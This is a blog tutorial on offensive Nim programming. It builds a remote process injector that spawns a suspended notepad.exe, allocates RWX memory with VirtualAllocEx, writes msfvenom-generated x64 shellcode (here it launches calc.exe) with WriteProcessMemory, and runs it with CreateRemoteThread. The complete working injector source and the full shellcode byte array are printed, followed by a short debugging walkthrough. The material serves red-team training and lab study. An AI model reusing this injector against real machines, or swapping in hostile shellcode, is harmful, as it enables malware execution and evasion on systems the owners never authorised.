Categories
Hacking

Nim on the Attack: Process Injection Using Nim and the Windows API

Time: 45mins – 1hr

Difficulty: Beginner Plus – Intermediate

Skills: Exploit Development, Programming, Malware Analysis

Shameless Self Plug: Hey! Want more content like this? I’m on the Twitters now! Give me a follow for cat pics and malware development.

Want to get into intro level exploit development, but don’t necessarily know where to begin? Read on, fam!

I was watching a very well shot, well lit video of Gordon Ramsay making scrambled eggs once. He said something that stuck with me, to the tune of “when we get a new cook in the kitchen, I always have them make scrambled eggs as their first task. If they can do that simple task masterfully, I know they are good.”

I don’t know if that’s true or not, but to all the aspiring exploit devs and red teamers out there: if you want to get into exploit development, but maybe don’t know where to start, in this post I’m going to teach you how to make scrambled eggs.

Enter, Nim and the Windows API

As a red teamer and exploit developer, when you can get your hands on a simple, straightforward language that allows you to manipulate powerful primitives to effect, you know you’re cooking with gas.

To me, nothing exemplifies that paradigm more than Nim. Nim is a lesser known language at the time of writing this post, but it has steadily grown in popularity among red teamers for a number of reasons. I think this is because it excels in a few specific use cases that red teamers often appreciate:

  • Nim’s language syntax is as simple as it gets.
  • Nim can cross compile to produce payloads on both Windows and Linux.
  • When Nim compiles for Windows, it produces payloads that are tiny.
  • Out the box, Nim has great compatibility with the Windows API. And if you want to get even more functionality out of it, you can use the outstanding winim library.

What follows in this post is an exploration of a basic remote process injection exploit (really, the most basic one that exists) that you can build from scratch using Nim. In the spirit of a recent Rasta Mouse post and the phenomenal OffensiveNim repo by byt3bl33d3r, I wanted to toss my HuskyHat in the arena and cross-examine some streams of fantastic original research and add my own perspective.

This is to say that very little of the content of this post is original research by me, but I’d like to cover the subject to teach some very basic exploit development concepts and how to work with the Windows API.

And at the end, I’m going to do some light malware RE and put the program through a debugger so we can see what this technique looks like under a microscope.

This could be a great opportunity to jump into intro exploit development if you have not already, so let’s get going!

You’ll Need

  • A development workstation. Nim can cross-compile for Linux and Windows so it doesn’t matter which one you pick. Just pick the one you’re more comfortable with.
  • A victim test Windows host, 64-bit.
  • Visual Studio Code installed on your development workstation. At the time of writing this, Nim does not have a fully integrated development environment, but it does have some sweet VS Code plugins that get you about 90% of an IDE’s features.
  • Nim! Grab the installer and install it on your dev workstation. If you are using *nix, check the package installer options here for a one-liner install.
  • (if developing on Linux) Make sure you have the Minimalist GNU for Windows compiler (MinGW). A lot of Linux distros already have this, but if you don’t, just enter
$ sudo apt install mingw-w64

Setup (~5 mins)

For this lab, I’m using Linux Lite for my development VM. Lite is an Ubuntu-based Linux OS that is pretty nice to use. But this should work on any distro if you’re deving on Linux, just follow the instructions for the install noted above.

So if you’re following along on Ubuntu, run:

$ sudo apt-get install nim

… and let the installation run. Once the installation is complete, check that it installed correctly by entering:

$ nim -h

If the usage prints to screen, sweet! Let’s keep going.

There are a few great libraries that we will use on our escapades today. To grab them, enter:

$ nimble install winim zippy nimcrypto

This will use Nim’s package manager to grab these from their repositories. If you see a prompt like:

Prompt: No local packages.json found, download it from internet? [y/N]

…you can enter ‘y’ and it will download the package manifest.

Next, install Visual Studio Code. There are a whole bunch of ways to do this depending on your OS, so I’ll leave it as an exercise for the reader if you’re using Windows or a Linux distro that is not Ubuntu based. The easy way for me has been:

$ sudo apt-get install snapd -y
$ sudo snap install code --classic
$ /snap/bin/code &

Once you have it installed, make sure to install a few of the fantastic Nim language plugins. To do so, go to the Extension panel…

and search “nim”…

The two highlighter above are the best ones at the time of writing this post. Try one, or the other, or both! They will help out, trust me. To install them, just click the blue “install” button in the main panel.

Alright, we have our (pseudo) IDE and our language pack installed. Let’s get to exploitin!

Actually, first, let’s do the classic. Say it with me now…

Hello, world! (5 mins, not even)

You’ll find that Hello, World! in Nim is probably the simplest it gets. And this will give us a good primer on how to compile the executable, which can be tricky at first glance.

Make a new directory on your desktop and call it Nim, or maybe a pun on the name like Nimble or theNimtasticVoyage. It really doesn’t matter.

Then, inside of this folder, make a new file called hello.nim. In Code, your extension(s) should identify it as a Nim file by giving it a little crown icon.

In hello.nim, enter:

# Hello World!
echo "Hello, World!"

… and save! That’s it. No, really. Not bad, huh?

So what do we do with this now? Well, Nim is a compiled language, so it produces executables to run our programs. To compile our tiny little Hello World program, open a terminal and navigate to your Nim directory. Once in there, enter the following:

$ nim c -d:mingw --cpu:amd64 hello.nim

…where:

  • nim c is the Nim compiler command,
  • -d:mingw denotes a ‘define’ flag, which in this case is telling the compiler to use the Minimalist GNU for Windows compiler to create the executable for windows,
  • --cpu:amd64 tells the compiler to compile for a standard 64-bit Windows OS, and,
  • hello.nim is, of course, our file to compile!

If all goes well, it should look like it does below:

…then if you look in your Nim directory…

Look at that, a fresh new Hello World portable executable! Now transfer it over to your Windows test VM and run it from the terminal!

I love it when a plan comes together.

SO… we’ve now seen a few of the cool features of Nim in action. You haven’t seen much of the Nim syntax yet, so it’s too early to tell how easy it is to program in, but you now know that you can cross-compile it from Linux to Windows, compile it down to a portable executable, and run it on a Windows host with little effort.

With that under our belts, let’s move onto the main course: scrambled eggs.

A Simple Process Injector: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread (~30 mins)

We’re about to pop the hood of Windows and start working with the APIs that make Windows tick. If you’ve never done this before, it can seem intimidating at first. But I’m here to tell you that the basics are not too bad.

Keep this on hand and ready to reference, you’ll need it: https://docs.microsoft.com/en-us/windows/win32/api/

What we’re about to build is the most simple of process injection techniques. And like Rasta’s great post referenced above on implementing this technique in C#, it is basically as stealthy as a flying lawnmower. But as an intro to working with the Windows API, it’s fantastic. I’ll explain as we go.

Alright, let’s get it.

Make a new file called injector.nim. Inside injector.nim, we start by importing two libraries:

import winim/lean
import osproc

Both of these are crucial for being able to pop the hood of Windows and work with the powerful API primitives that we can use to wreck havoc.

Let’s begin with the end in mind here. What we’re planning to do is:

  • Spawn a benign process in a suspended state.
  • Create an area of memory inside this process where we can stage some shellcode.
  • Make this area of memory able to execute this shellcode.
  • Write out shellcode bytes into this memory space, and
  • Execute our shellcode by creating and running a new thread in this process.

So right off the bat, we’ll need some shellcode. Let’s keep it simple and spawn calc.exe. To generate this, we can use tried and true msfvenom. I’m using the code below but, and this is imperative, do not trust strangers on the internet. Generate your own shellcode for this.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="C:\Windows\System32\calc.exe" -f csharp                   2 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 296 bytes
Final size of csharp file: 1531 bytes
byte[] buf = new byte[296] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

Note the use of the csharp format. We use this because it’s similar to how the byte array needs to be formatted in Nim.

Back in injector.nim, we can implant this into our code:

import winim/lean
import osproc


# $ msfvenom -p windows/x64/exec CMD="C:\Windows\System32\calc.exe" -f csharp

var shellcode: array[296, byte] = [
byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00]

Note the slight differences between the msfvenom output and what gets placed into the array.

Now, let’s define the meat and potatoes of our progam: the injector procedure!

We will define a procedure that will call the ingredients of our scrambled eggs:

  • A suspended process.
  • The VirtualAllocEx API function to create a region of memory and allow us to write into it.
  • The WriteProcessMemory API function that will take our shellcode and write it into the specified area of memory, and,
  • The CreateRemoteThread API function that will start a thread in this suspended process to execute the shellcode.

So let’s start with the procedure (a function, by any other name), which will take an input of a byte array that will pass in our shellcode.

import winim/lean
import osproc


# $ msfvenom -p windows/x64/exec CMD="C:\Windows\System32\Calc.exe" -f csharp
var shellcode: array[296, byte] = [ ....
-- snip--

# Our main procedure
proc injector[I, T](shellcode: array[I, T]): void =

    echo "[*] Let's go to work!"

# TODO: 

    # Start and suspend a process

    # Open the process so we can access it with a handle

    # Call VirtualAllocEx to make some memory space

    # Call WriteProcessMemory to write shellcode into the memory

    # Call CreateRemoteThread to execute a thread with the shellcode stuffed in it

    # POG when it works    



# Kick off the main module
when isMainModule:
    injector(shellcode)

Make sure to pay attention to your indentation as you write the code. In a general sense, without getting way too in the weeds, Nim needs to have consistent indentation and whitespace. It’s similar to Python in this regard. Just keep it to one tab for every high level procedure, two tabs for a block of code within that, etc. The pseudo-IDE should take care of a lot of this for you.

Let’s start our process and suspend it right out the gate:

# TODO: 

    # Start and suspend a process
    let injectedProcess = startProcess("notepad.exe")
    injectedProcess.suspend()

    echo "[*] Suspended Process: ", injectedProcess.processID

Nim’s osproc library makes this a snap by aliasing a few API calls. So we can take advantage of that by simply calling startProcess and the suspend() method to make our life simple. Now, we’ll have a new notepad.exe process in a suspended state, ready for our trickery.

Next on the TODO:

    # Open the process so we can access it with a handle

    let processHandle = OpenProcess(
        PROCESS_ALL_ACCESS,
        false,
        cast[DWORD](injectedProcess.processID)
    )

    echo "[*] Our injected process handle: ", processHandle

What exactly is happening here? Nim’s winim library is about to put in work, son.

A Primer on the Windows API

Winim is a library that simplifies the process of writing Nim code that can use the Windows API. In this regard, it’s a bit like its C# brother, P/Invoke. If you’re not familiar with P/Invoke, it basically goes like this: there are a whole bunch of API functions available to the developer that live inside different parts of the Windows operating system. If you want to use those API calls while writing in C#, you can import them using P/Invoke. It’s basically like adding a map of the APIs you want to use right into your code, so your program can understand how to interact with the Windows API when you build it. You can find more info about P/Invoke here, I recommend it if you’re interested in learning to develop in C#.

In short, we’re going to use a library of functions that allow our Nim code to access the Windows API without a lot of headache.

Back to the Nim code, we are using the winim library to invoke a Windows API function called OpenProcess. According to the docs, the parameters are like this:

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

Breaking it down, it needs:

  • A parameter for your desired access level to the process. For us, we are requesting PROCESS_ALL_ACCESS.
  • A ture/false flag to inherit a handle or not. We set this to false for our purposes.
  • And, a parameter to point it to the process ID of the one we want the handle for.

And most importantly, the return value says that if this call succeeds, it returns the value of the open handle for our specified process. We need this to be able to write shellcode and hack all the things.

That’s it! Not so bad, I think. We will basically wash, rinse, and repeat for each API call in order to get these powerful primitives to do our dirty work for us.

Let’s keep it rolling with VirtualAllocEx:

    # Call VirtualAllocEx to make some memory space

    let memPointer = VirtualAllocEx(
        processHandle,
        NULL,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

This is our first API call where things really take a turn for the nefarious. According to the docs, you need:

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

Which, in English, translates to:

  • The process handle for the area where we want to create memory space.
  • The pointer of the address where to start this memory space. We’ll leave this NULL to let the API figure it out for us.
  • The size of the memory needed. For this, we cast the length of our shellcode array (296 bytes) as the value.
  • The type of memory allocation, which we want to be MEM_COMMIT. This gets technical but basically means to reserve the space for the memory and allocate the space in a single step.
  • Finally, the permissions. This is the danger zone, because we’re asking the process to allocate RWX memory into the process. This is a huge red flag from an OPSEC perspective, but for our purposes, yolo.

Moving on, time to write into the process memory. Consulting the docs for WriteProcessMemory, we come up with:

    # Call WriteProcessMemory to write shellcode into the memory

    # A variable for our shellcode byte array size:
    var bytesWritten: SIZE_T
    let writeProccess = WriteProcessMemory(
        processHandle,
        memPointer,
        unsafeAddr shellcode,
        cast[SIZE_T](shellcode.len),
        addr bytesWritten
    )

We can, of course, add some echos to print out a few key facts to the terminal. The original shellcode_bin.nim POC that I’m using as a reference point has some nice little one liners to help here:

    echo "[*] WriteProcessMemory: ", bool(writeProccess)
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

Finally, for the grand finale: calling CreateRemoteThread. If you’ve ever tried to get through a metal detector with a bazooka in your coat, you might appreciate what calling CreateRemoteThread looks like from a defensive perspective. I’d wager any EDR solution worth its salt is monitoring the use of this API call, and for good reason.

Once again, consult the docs and this is what we come up with:

    # Call CreateRemoteThread to execute a thread with the shellcode stuffed in it

    let threadHandle = CreateRemoteThread(
        processHandle,
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](memPointer),
        NULL,
        0,
        NULL
    )

    # POG when it works

    echo "[+] Thread Handle: ", threadHandle
    echo "[*] POG"

Retain the call to the main method at the bottom. Once all looks good, compile:

$ nim c -d:mingw --cpu:amd64 inject.nim

If all goes well, it should compile cleanly and produce inject.exe:

Now zip the PE up and deliver it to your Windows test VM of choice. This will absolutely trigger Windows Defender, so keep that in mind.

And now, for the moment of truth…

Ladies and Gentlemen, we have POG.

If you were unable to spawn calc, check your inject.nim file. I have included the code for the whole thing at the bottom of this post, so go check it out there if you need a sanity check.

Some Light Malware Analysis

But hey, don’t stop there! Let’s open that process up and examine the different attributes related to our injection.

A full malware analysis of this sample is beyond the scope of this module, but it’s definitely worthwhile to look inside the binary for the API calls that we just implemented. Grab Process Hacker and x64dbg and pop the hood of the executable:

We can find the entry point to the program pretty easily. If we search for the string references of our API calls, we can find each and set breakpoints to debug:

Then, step into the program and watch each API do its thing. If you pay attention to the Process Hacker output and restart a few times, you can even pinpoint exactly where Main is called and see the Notepad.exe process spawn:

Spawning Notepad
The suspended Notepad process with RWX memory and no corresponding memory module.

Then, step over the different calls to the “inject” function to find each instruction responsible for each API call.

There are other OPSEC considerations for this technique and yet again I will shout Rasta’s post out. Go check it out for more info.

Summary

In this lab, we have:

  • Learned about Nim, an interesting programming that combines easy syntax with the ability to compile down tosmall Windows portable executables.
  • Wrote Hello, World!
  • Learned about the Windows APIs and how to invoke them inside your program.
  • Used the APIs to perform a basic process injection technique, and,
  • Examined a few of the artifacts with some basic malware analysis tools to see if we could find the API calls while debugging the program.

As always, thank you for reading! I hope you enjoyed trying out some intro exploit development.

Would You Like To Know More?

I am on the Twitters now! Follow me if you’d like more content like this. I’m also always available for questions, comments, and wisecracks at huskyhacks.mk[@]gmail.com, so please send me messages there too.


Full inject.nim File

import winim/lean
import osproc


# $ msfvenom -p windows/x64/exec CMD="C:\Windows\System32\Calc.exe" -f csharp
var shellcode: array[296, byte] = [
byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00]

# Our main procedure
proc injector[I, T](shellcode: array[I, T]): void =

    echo "[*] Let's go to work!"
    
# TODO: 

    # Start and suspend a process
    let injectedProcess = startProcess("notepad.exe")
    injectedProcess.suspend()

    echo "[*] Suspended Process: ", injectedProcess.processID

    # Open the process so we can access it with a handle

    let processHandle = OpenProcess(
        PROCESS_ALL_ACCESS,
        false,
        cast[DWORD](injectedProcess.processID)
    )

    echo "[*] Our injected process handle: ", processHandle

    # Call VirtualAllocEx to make some memory space

    let memPointer = VirtualAllocEx(
        processHandle,
        NULL,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

    # Call WriteProcessMemory to write shellcode into the memory

    # A variable for our shellcode byte array size:
    var bytesWritten: SIZE_T
    let writeProccess = WriteProcessMemory(
        processHandle,
        memPointer,
        unsafeAddr shellcode,
        cast[SIZE_T](shellcode.len),
        addr bytesWritten
    )

    echo "[*] WriteProcessMemory: ", bool(writeProccess)
    echo "    \\-- bytes written: ", bytesWritten
    echo ""


    # Call CreateRemoteThread to execute a thread with the shellcode stuffed in it

    let threadHandle = CreateRemoteThread(
        processHandle,
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](memPointer),
        NULL,
        0,
        NULL
    )

    # POG when it works

    echo "[+] Thread Handle: ", threadHandle
    echo "[*] POG"

# Kick off the main module
when isMainModule:
    injector(shellcode)

References:

7 replies on “Nim on the Attack: Process Injection Using Nim and the Windows API”

[…] var shellcode: array[296, byte]=[ byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20 Copyright for syndicated content belongs to the linked SOURCE […]

Like

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.